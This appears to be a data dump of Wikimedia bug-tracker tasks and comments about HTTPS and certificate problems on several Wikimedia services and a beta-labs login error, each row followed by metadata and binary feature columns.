+**Severity**: normal",Lowest,10.0,1333282500,1376918907.0,PHID-USER-a6p24cvyblhfzc7we7nc,False,,False,PHID-TASK-g4cbnbytwiddzvg5yq4u,task_description,resolved,True,c2,1,True,False,True,-74,True,1,1,0,1,0,1,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+170060,etherpad.wikimedia.org does not work correctly on https,Fixed up by migrating the service to EtherPad Lite.,,,1376918907,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-g4cbnbytwiddzvg5yq4u,task_subcomment,,True,c2,2,True,,,-2,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+170052,etherpad.wikimedia.org does not work correctly on https,https://epl.wikimedia.org/p/test%20https,,,1376045945,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-g4cbnbytwiddzvg5yq4u,task_subcomment,,True,c2,2,True,,,-3,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+170042,etherpad.wikimedia.org does not work correctly on https,"This report is about https://etherpad.wikimedia.org .
+
+Most people seem to use EtherPad Lite at etherpad.wmflabs.org instead (see bug 34953), where https:// does not even resolve. That's covered in bug 43404.",,,1361182814,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-g4cbnbytwiddzvg5yq4u,task_subcomment,,True,c2,1,True,,,-28,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,1,1
+170034,etherpad.wikimedia.org does not work correctly on https,"If there isnt a fix soon, we should add etherpad to the HTTPS Everywhere exclusion pattern
+https://gitweb.torproject.org/https-everywhere.git/blob_plain/HEAD:/src/chrome/content/rules/Wikipedia.xml",,,1334099234,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-g4cbnbytwiddzvg5yq4u,task_subcomment,,True,c2,1,True,,,-73,True,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+170027,etherpad.wikimedia.org does not work correctly on https,rt 2751,,,1333388885,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-g4cbnbytwiddzvg5yq4u,task_subcomment,,True,c2,1,False,,,-74,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+36721,SVN certificate validation errors,"**Author:** `wmf.amgine3691`
+
+**Description:**
+Error validating server certificate for 'https://svn.wikimedia.org:443':
+ - The certificate is not issued by a trusted authority. Use the
+   fingerprint to validate the certificate manually!
+Certificate information:
+ - Hostname: *.wikimedia.org
+ - Valid: from Tue, 03 Aug 2010 14:43:56 GMT until Sat, 22 Aug 2015 21:23:10 GMT
+ - Issuer: Equifax Secure Certificate Authority, Equifax, US
+ - Fingerprint: ba:8a:be:34:b1:34:3b:af:06:05:4b:48:a9:27:aa:d9:b4:75:45:6e
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Lowest,10.0,1330224660,1330288661.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-vnprxrpp4alixn2l7ti7,task_description,declined,True,c2,1,False,False,True,-79,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,1,0,0,1
+168955,SVN certificate validation errors,"I don't believe we've ever properly supported svn over https. In fact, I'd say it's not worth fixing, since svn's going away.",,,1330228859,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-vnprxrpp4alixn2l7ti7,task_subcomment,,True,c2,1,True,,,-79,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+35293,Certificate security warning for https://en.planet.wikimedia.org,"This Connection is Untrusted
+      
+      
+      
+      
+        
+          You have asked Firefox to connect
+securely to en.planet.wikimedia.org, but we can't confirm that your connection is secure.
+          Normally, when you try to connect securely,
+sites will present trusted identification to prove that you are
+going to the right place. However, this site's identity can't be verified.
+        
+        
+        
+          What Should I Do?
+          
+            If you usually connect to
+this site without problems, this error could mean that someone is
+trying to impersonate the site, and you shouldn't continue.
+            
+          
+        
+        
+        
+        
+          Technical Details
+          en.planet.wikimedia.org uses an invalid security certificate.
+
+The certificate is only valid for the following names:
+  *.wikimedia.org , wikimedia.org  
+
+(Error code: ssl_error_bad_cert_domain)
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Lowest,10.0,1324445520,1362791114.0,PHID-USER-bmenasgfntvftznu6wxs,False,,False,PHID-TASK-vxuuvlrquymctzne2bhc,task_description,resolved,True,c2,1,False,False,True,-88,True,0,1,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,1,0,1,1,0,0,0,1,0,0,0,1,0,1,0,0,1,1,0,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+158566,Certificate security warning for https://en.planet.wikimedia.org,"resolved.
+
+https://en.planet.wikimedia.org/
+
+using a *.planet certificate",,,1362791114,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-vxuuvlrquymctzne2bhc,task_subcomment,,True,c2,1,True,,,-25,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0
+158561,Certificate security warning for https://en.planet.wikimedia.org,yes. https://rt.wikimedia.org/Ticket/Display.html?id=3481,,,1359157312,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-vxuuvlrquymctzne2bhc,task_subcomment,,True,c2,1,True,,,-31,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+158558,Certificate security warning for https://en.planet.wikimedia.org,"(In reply to comment #4)
+> We are going to support SSL on planet in a little while now. Actually we got
+> approval to buy a wildcard cert just for *.planet and this is being ordered
+> now.
+
+Is there a corresponding RT ticket or such?",,,1359156954,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-vxuuvlrquymctzne2bhc,task_subcomment,,True,c2,1,True,,,-31,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,1
+158554,Certificate security warning for https://en.planet.wikimedia.org,P.S. Planet is an IPv6-enabled service since yesterday.,,,1359154867,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-vxuuvlrquymctzne2bhc,task_subcomment,,True,c2,1,True,,,-31,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0
+158548,Certificate security warning for https://en.planet.wikimedia.org,We are going to support SSL on planet in a little while now. Actually we got approval to buy a wildcard cert just for *.planet and this is being ordered now.,,,1359154829,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-vxuuvlrquymctzne2bhc,task_subcomment,,True,c2,1,True,,,-31,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+158542,Certificate security warning for https://en.planet.wikimedia.org,"""now the website will go through key exchange (sadly still with the
+warning) and then redirect you to to the unencrypted equivalent page.""
+
+So the original issue is still valid, but this might be a WONTFIX.",,,1353173223,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-vxuuvlrquymctzne2bhc,task_subcomment,,True,c2,1,True,,,-41,True,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,0
+158536,Certificate security warning for https://en.planet.wikimedia.org,"Then someone from the technical department may wish to address ...
+
+https://en.wikipedia.org/wiki/Wikipedia:Wikipedia_Signpost/2011-12-19/Technology_report
+
+No more planetary problems on https: With the resolution of bug #32028, visitors attempting to view certain Wikimedia blog ""planets"" will no longer be redirected away from the main site when trying (manually or automatically) to switch to the secure, https version of the site.",,,1324556664,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-vxuuvlrquymctzne2bhc,task_subcomment,,True,c2,1,False,,,-88,True,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,0,1,1,0,1,0,0,1,1,0,0,1,1,0,0
+158528,Certificate security warning for https://en.planet.wikimedia.org,"SSL on planet isn't really going to be supported right now.  At least you aren't being redirected to a non-planet website.
+
+From https://rt.wikimedia.org/Ticket/Display.html?id=1854#txn-44455, CT Woo says:
+
+ Per discussion in EMGT, let's take off https for planet.wikimedia.org for the
+ time being.
+
+Adding ctwoo to see if he has anything else to add.  Otherwise, resolving this later.",,,1324493948,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-vxuuvlrquymctzne2bhc,task_subcomment,,True,c2,1,False,,,-88,True,0,1,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,0
+34893,server prototype.wikimedia.org has no https,"Updating a mediawiki file @enWP, and the call of javascript only works for http:// call
+
+
+Working
+http://prototype.wikimedia.org/mwe-gadget/mwEmbed/remotes/mediaWiki.js
+
+Not working
+https://prototype.wikimedia.org/mwe-gadget/mwEmbed/remotes/mediaWiki.js
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Lowest,10.0,1323415320,1323556952.0,PHID-USER-bmenasgfntvftznu6wxs,False,,False,PHID-TASK-s6esjv72iihkh6eqj5rd,task_description,declined,True,c2,1,False,False,True,-90,True,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,1,0,1,0,0,0
+161664,server prototype.wikimedia.org has no https,I am happy with this being marked as WONT FIX.  I was just following general instructions for where no https.,,,1323520272,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-s6esjv72iihkh6eqj5rd,task_subcomment,,True,c2,1,False,,,-90,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+161660,server prototype.wikimedia.org has no https,"In theory you should not load anything from Prototype, on the assumption it may disappear at any moment.",,,1323434141,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-s6esjv72iihkh6eqj5rd,task_subcomment,,True,c2,1,True,,,-90,True,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+161655,server prototype.wikimedia.org has no https,"Are you saying that enWP should be looking to stop using that gadget, or at least calling that js gadget from that server and have it hosted elsewhere?",,,1323416690,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-s6esjv72iihkh6eqj5rd,task_subcomment,,True,c2,1,False,,,-90,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,1,0
+161649,server prototype.wikimedia.org has no https,"I believe we are planning to kill off the prototype instances for labs setup, But I don't know how far off that is.",,,1323415953,,PHID-USER-hwuumsjqciw7ji5qhpc7,False,,,PHID-TASK-s6esjv72iihkh6eqj5rd,task_subcomment,,True,c2,1,False,,,-90,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+34457,"mwEmbed is hosted on prototype.mw, meaning that it does not support https","Hi,
+
+It there anything against moving mwEmbed to commons / meta instead of prototype?
+
+If it's only about having people to do the job, I'm considering to ask for editinterface rights for other security fixes related to https, so maybe I could do this too.
+
+Best regards,
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Lowest,10.0,1321527720,1354802591.0,PHID-USER-irahijhmu2pqmwuewejz,False,,False,PHID-TASK-ackqn6rfquls6bmfr3dl,task_description,declined,True,c2,1,False,False,True,-93,True,0,1,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,1,0
+162208,"mwEmbed is hosted on prototype.mw, meaning that it does not support https","Assuming this is obsolete now as prototype.* is going to die soon.
+We won't fix issues on prototype anymore.
+
+Jérémie: If this is still a problem on labsconsole etc, please file a new report against MediaWiki extensions > TimedMediaHandler. Thanks!",,,1354802591,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ackqn6rfquls6bmfr3dl,task_subcomment,,True,c2,1,True,,,-38,True,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+162200,"mwEmbed is hosted on prototype.mw, meaning that it does not support https","prototype.wikimedia.org is going to get killed soon (see bug 41433). 
+Does the issue of missing https:// still applies to a currently supported testing server (labsconsole?)?
+
+Native support for mwEmbed via TMH is in place now (see bug 27699).
+
+(In reply to comment #1 by Michael Dale)
+> After we deploy TMH I can look at porting the other mwEmbed components ( video
+> editor ) over to the new gadget system. 
+
+Michael: Is that still desirable or is this a WONTFIX?",,,1354458020,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ackqn6rfquls6bmfr3dl,task_subcomment,,True,c2,1,True,,,-39,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,1
+162191,"mwEmbed is hosted on prototype.mw, meaning that it does not support https",*** Bug 34520 has been marked as a duplicate of this bug. ***,,,1329760235,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-ackqn6rfquls6bmfr3dl,task_subcomment,,True,c2,1,True,,,-80,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+162188,"mwEmbed is hosted on prototype.mw, meaning that it does not support https","**mdale** wrote:
+
+mwEmbed presently makes use of a custom loading framework. So it would not be easy to just ""move it over"" to commons. We are working on ~native~ support for mwEmbed in an extension called Timed Media Handler see bug 27699 
+
+After we deploy TMH I can look at porting the other mwEmbed components ( video editor ) over to the new gadget system. 
+
+--michael",,,1321548752,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ackqn6rfquls6bmfr3dl,task_subcomment,,True,c2,1,False,,,-93,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+33322,Retrievedfrom URI in print footer is not using httpS on secure server,"E.g. https://en.wikipedia.org/wiki/Main_Page gives:
+
+Retrieved from ""<a href=""http://en.wikipedia.org/wiki/Main_Page"">http://en.wikipedia.org/wiki/Main_Page</a>""</div>
+
+--------------------------
+**Version**: unspecified
+**Severity**: trivial",Lowest,10.0,1317644580,1329755693.0,PHID-USER-p5svl2m3pqm6jjgznnhz,False,,False,PHID-TASK-3qaricqklgktafy6sffw,task_description,declined,True,c2,1,False,False,True,-100,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1
+149394,Retrievedfrom URI in print footer is not using httpS on secure server,%%%*** Bug 34107 has been marked as a duplicate of this bug. ***%%%,,,1336531399,,PHID-USER-gibrlx54k2riiuit5paf,False,,,PHID-TASK-3qaricqklgktafy6sffw,task_subcomment,,True,c2,1,False,,,-68,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0
+149387,Retrievedfrom URI in print footer is not using httpS on secure server,"Closing bug per Bawolff comment 3.
+
+Thanks for reporting the issue.",,,1329755693,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-3qaricqklgktafy6sffw,task_subcomment,,True,c2,1,True,,,-80,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+149382,Retrievedfrom URI in print footer is not using httpS on secure server,">Isn't the canonical form on httpS suposed to point to https?
+
+no - Each website is supposed to have only one canonical form for its url (canonical form would be what we send out on say email notifications and things like that)
+
+
+We're trying to make it so that the https and http version of a page are identical, which is why just one form of the url is used on the bottom.",,,1318105678,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-3qaricqklgktafy6sffw,task_subcomment,,True,c2,1,False,,,-99,True,1,0,0,1,1,1,1,0,0,0,0,1,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,1,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+149376,Retrievedfrom URI in print footer is not using httpS on secure server,"(In reply to comment #1)
+> Not a bug, printfooter explicitly uses the canonical form, not protocol
+> relative.
+
+Isn't the canonical form on httpS suposed to point to https?
+
+This bug also affects Portuguese Wikipedia.",,,1318105368,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-3qaricqklgktafy6sffw,task_subcomment,,True,c2,1,False,,,-99,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,1
+149370,Retrievedfrom URI in print footer is not using httpS on secure server,"Not a bug, printfooter explicitly uses the canonical form, not protocol relative.
+
+The ""retrieved from"" link is there for printing purposes, printers don't print links, however they do print the link text, and that link text is a url and that url should not be protocol relative because it's not meant to be read by machines, it's meant to be read by humans off paper. There is no reason to make the link target different from the text.",,,1317645362,,PHID-USER-gibrlx54k2riiuit5paf,False,,,PHID-TASK-3qaricqklgktafy6sffw,task_subcomment,,True,c2,1,False,,,-100,True,0,0,0,1,1,1,1,1,0,0,1,1,0,0,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,1,0,0,0,0,0
+59540,beta labs: fatal error on login attempt: Class 'GettingStarted\MobileContext' not found,"seen since Saturday Nov 23:
+
+attempt to login http://en.wikipedia.beta.wmflabs.org/
+
+error is: 
+
+PHP fatal error in /data/project/apache/common-local/php-master/extensions/GettingStarted/Hooks.php line 84: 
+Class 'GettingStarted\MobileContext' not found
+
+--------------------------
+**Version**: unspecified
+**Severity**: critical",Unbreak Now!,100.0,1385392800,1385398242.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-jtaqioqlnz7gpz44kcf7,task_description,resolved,True,c2,3,False,False,True,12,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+259849,beta labs: fatal error on login attempt: Class 'GettingStarted\MobileContext' not found,*** Bug 57534 has been marked as a duplicate of this bug. ***,,,1385462922,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jtaqioqlnz7gpz44kcf7,task_subcomment,,True,c2,3,True,,,12,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+259843,beta labs: fatal error on login attempt: Class 'GettingStarted\MobileContext' not found,"Thanks, Reedy.  I forgot to test it with mobile and CentralAuth.",,,1385407770,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jtaqioqlnz7gpz44kcf7,task_subcomment,,True,c2,3,False,,,12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+259838,beta labs: fatal error on login attempt: Class 'GettingStarted\MobileContext' not found,Reedy fixed it,,,1385398242,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-jtaqioqlnz7gpz44kcf7,task_subcomment,,True,c2,3,False,,,12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+259832,beta labs: fatal error on login attempt: Class 'GettingStarted\MobileContext' not found,Note I can login without problem.  Can you both try again?,,,1385398171,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-jtaqioqlnz7gpz44kcf7,task_subcomment,,True,c2,3,True,,,12,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0
